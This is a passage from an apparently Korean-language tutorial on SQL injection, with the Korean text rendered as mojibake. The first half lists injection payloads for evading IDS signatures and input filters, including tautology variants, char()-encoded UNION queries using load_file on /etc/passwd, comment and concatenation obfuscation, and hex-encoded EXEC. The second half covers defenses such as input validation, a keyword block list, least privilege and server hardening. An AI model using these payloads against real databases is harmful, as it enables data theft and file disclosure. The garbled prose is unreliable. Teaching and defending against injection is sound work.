Step 3. binaryλ₯Ό μ°κ²°μν€κ³ , νμΌμ λμ€ν¬μ μ μ₯ ν μ μλ€
3 μ°ν κΈ°μ
3.1 κ°μ.
μ λ ₯ κ° κ²μ¦ μ°ν κ·Έλ¦¬κ³ IDS μ°ν κΈ°μ μ λ§€μ° λΉμ·νλ€. Snort κΈ°λ°μ SQL Injection νμ§λ λΆλΆ
μ μΌλ‘ κ°λ₯νλ€. κ·Έλ¬λ μ΄κ²μ βsinaturesβμ μμ‘΄νλ€. βsignaturesβμ μ½κ² νΌν μ μλ€. μ λ ₯ κ°
κ²μ¦, IDS νμ§ κ·Έλ¦¬κ³ κ²¬κ³ ν DB, OS μ€μ μ λ°λμ κ°μ΄ μ¬μ© λμ΄μ ΈμΌ νλ€.
3.2 IDS βsignatureβ μ°ν
1) βOR 1=1 βsignatureβμ°ννκΈ°
βͺ ' OR 'unusual' = 'unusual'
βͺ ' OR 'something' = 'some'+'thing'
βͺ ' OR 'text' = N'text'
βͺ ' OR 'something' like 'some%'
βͺ ' OR 2 > 1
βͺ ' OR 'text' > 't'
βͺ ' OR 'whatever' IN ('whatever')
βͺ ' OR 2 BETWEEN 1 AND 3
3.3 μ λ ₯ κ° κ²μ¦ μ°ν νκΈ°
βͺ PHP addslashes() ν¨μλ₯Ό μ¬μ©νλ μ¬λμ λ¬Έμμ΄μ λ²μ΄ λ μ μλ€.
single quote (')
double quote (")
backslash (β©)
NUL (the NULL byte)
βͺ μ«μ νλμμ μμ λ¬Έμλ‘ λ체 ν¨μΌλ‘μ¨ μ½κ² μ°ν κ°λ₯νλ€.
3.4 ννΌμ μ°ν
i. μλμ λ§€κ°λ³μ μΈμ½λ© λ°©λ²μΌλ‘ IDS, μ λ ₯ κ° κ²μ¦μ μ°ν ν μ μλ€.
βͺ URL encoding
βͺ Unicode/UTF-8
βͺ Hex enconding
βͺ char() function
ii. MySQL μ λ ₯ κ° κ²μ¦μ Char()λ₯Ό μ¬μ©ν¨μΌλ‘μ¨ μ°ν ν μ μλ€.
βͺ μΈμ© λΆνΈλ₯Ό μ μΈν Inject (string = "%"):
' or username like char(37);
βͺ μΈμ© λΆνΈλ₯Ό μ μΈν Inject (string = "root"):
' union select * from users where login = char(114,111,111,116);
βͺ Load filesμ μ΄μ©ν unions μ¬μ© (string = "/etc/passwd"):
' union select 1, (load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
βͺ μ‘΄μ¬νλ νμΌμ 체ν¬(string = "n.ext"):
' and 1=( if( (load_file(char(110,46,101,120,116))<>char(39,39)),1,0));
βͺ UNION SELECT Signatureμ UNION[ν]SELECT signatureμ λ€λ₯΄κ² μΈμλλ€
βͺ ν, μΊλ¦¬μ§ 리ν΄, λΌμΈ νΌλ, κ³΅λ°±μ΄ μ£Όλ‘ μ΄μ© λλ€.
βͺ λͺλͺ IDS λ 곡백μ²λ¦¬λ₯Ό 무μνλ―λ‘ κ³΅λ°±μ μλ΅νλ κ²μ΄ μ’μ λ°©λ²μ΄ λ μλ μλ€.
'OR'1'='1' (곡백 μμ΄) μ μλ¬ μμ΄ μ€νλλ€.
iv. μ£Όμ μ²λ¦¬λ₯Ό μ΄μ©ν IDS Signature ννΌ
βͺ /* β¦ */ μ SQL99μμ μ¬λ¬ μ€ μ μ£Όμ μ²λ¦¬ ν λ μ¬μ©λλ κΈ°νΈ μ΄λ€ βͺ UNION/**/SELECT/**/
βͺ '/**/OR/**/1/**/=/**/1
βͺ μ¬λ¬ κ°μ νλμ κ±ΈμΉ Injectionμ νμ©νλ€
USERNAME: ' or 1/*
PASSWORD: */=1β
v. μ€νΈλ§ μ°κ²°μλ₯Ό μ΄μ©ν IDS Signature μ°ν
βͺ μλμ κ°μ΄ ν μ€νΈ μ°κ²° ν μ μκ³ , νΉμ ν DB λͺ λ Ήμ μ¬μ© ν μ μλ€.
βͺ My SQL
UNI/**/ON SEL/**/ECT βͺ Oracle
'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
βͺ MS SQL
'; EXEC ('SEL' + 'ECT US' + 'ER')
vi. λ³μλ₯Ό μ΄μ©νμ¬ IDS, μ λ ₯ κ° κ²μ¦ μ°ν νκΈ°
βͺ λ³μλ₯Ό μ΄μ©
; declare @x nvarchar(80); set @x = N'SEL' + N'ECTUS' + N'ER');
EXEC (@x)
EXEC SP_EXECUTESQL @x
βͺ ν₯μ¬λ₯Ό μ΄μ©
; declare @x varchar(80); set @x = 0x73656c65637420404076657273696f6e;
EXEC (@x)
4 SQL Injection λμ λ°©μ
4.1 κ°μ
κ°λ¨ν λ°©λ²μΌλ‘ μ λ ₯ κ° κ²μ¦μ κ°μ₯ μ€μν λΆλΆ μ€μ νλ μ΄λ€. λΉμ μ λ°λμ μ λ ₯ κ° κ²μ¦μ
λͺ¨λ μλ‘μ΄ μ ν리μΌμ΄μ μ μ€μν΄μΌ νλ€. κ·Έλ¦¬κ³ μ‘΄μ¬νλ μ½λμ μΉμ¬μ΄νΈλ₯Ό μ‘°μ¬ν΄ λ΄μΌ νλ€.
μΆκ°μ μΌλ‘ μλ²λ₯Ό κ²¬κ³ νκ² μ΄μν΄μΌ νλ€. λ°μ΄ν° λ² μ΄μ€μ λ°μ΄ν° μ κ·Όμ μ μ₯λ νλ‘μμ λ₯Ό ν΅ν
μ¬ μ κ·Όνκ³ , μ μ₯λ νλ‘μμ λ₯Ό μ¬μ©ν λ λ§€κ°λ³μν λ APIλ₯Ό μ΄μ©νλΌ. λͺ¨λ μ λ ₯ κ° κ²μ¦μ μΌ
λ°μ μΈ λ£¨ν΄μ μ΄μ©νκ³ , μ΅μνμ κΆνμ DB μ¬μ©μ μκ² μ μ©νλΌ.
1) μ λ ₯ κ° κ²μ¦
κ° νλλ₯Ό μν λ°μ΄ν° νμ μ μ μ λκ³ , μ μλ νμ λ§ νμ© λμ΄μΌ νλ€. κ·Έλ¦¬κ³ μ λ ₯λ κ°μ κ²
μ¦μ μν΄μ νν°λ₯Ό μ¬μ©ν΄μΌ νλ€. μλ €μ§ Injection λ¬Έμμ΄μ λν νν°λ μ² μ ν ꡬν λμ¬μΌ νλ€.
μλμ κ°μ λ¬Έμμ΄μ λ°λμ μ κ±° λμ΄μΌ νλ€.
μ) β"select", "insert", "update", "shutdown", "delete", "drop", "--", "'"
2) μλ²λ₯Ό κ²¬κ³ νκ² μ΄μνκΈ°
1. DB μ΅μκΆνμ μ μ λ‘ μ΄μνλΌ.
2. μ¬μ©νμ§ μλ μ μ₯λ νλ‘μμ μ κΈ°λ₯λ€μ μ κ±°νκ±°λ κ΄λ¦¬μμκ² μ νλ μ κ·Ό κΆνμ μ£Όμ΄λΌ.
3. νΌλ―Έμ μ λ³κ²½νκ³ , 곡κ°λ μμ€ν κ°μ²΄μ μ κ·Όμ μ κ±° νλΌ.
4. λͺ¨λ μ¬μ©μ κ³μ μ ν¨μ€μλλ₯Ό κ°ν μμΌλΌ
5. 미리 μΉμΈλ μλ²μ λ§ν¬λ₯Ό μ κ±° νλΌ.
6. μ¬μ©νμ§ μλ λ€νΈμν¬ νλ‘ν μ½μ μ κ±°νλΌ.
7. μ λ’°ν μ μλ λ€νΈμν¬,μΉ μλ², λ°±μ μλ²λ§ μ κ·Όμ νμ©νλΌ.
4.2 νμ§ λ° μ νμν€κΈ°
SQL Injection μλμ λν νμ§ μνλ€λ©΄, SQL Injection μλλ₯Ό λ‘κ·Έμ λ¨κΈ°κ³ , μ΄ λ©μΌλ‘ κ²½κ³ μ₯
μ 보λ΄κ³ , IPμ°¨λ¨ νκ³ , μ¬λ°λ₯΄μ§ μμ μλ¬ λ©μμ§λ₯Ό 보λ΄λλ‘ μ€μ νλΌ. μ΄κ²λ€μ κ²μ¦ μ€ν¬λ¦½νΈμ
μ½λμ λμ΄μΌ νλ€.
4.3 κ²°λ‘
SQL Injection μ λ§€νΉμ μ΄κ³ , μμ£Ό μνν μ·¨μ½μ μ΄λ€. λͺ¨λ νλ‘κ·Έλ¨ μΈμ΄ κ·Έλ¦¬κ³ SQL DBλ μ μ¬
μ μΈ μ·¨μ½μ μ κ°μ§κ³ μλ€. λ³΄νΈ νκΈ° μν΄μλ κ°λ ₯ν λμμΈ, μ νν μ λ ₯ κ° κ²μ¦, κ²¬κ³ νκ² μλ²
λ₯Ό μ΄μ ν΄μΌ νλ€.
β» μ°Έμ‘°μλ£ λ° λ¬Έμ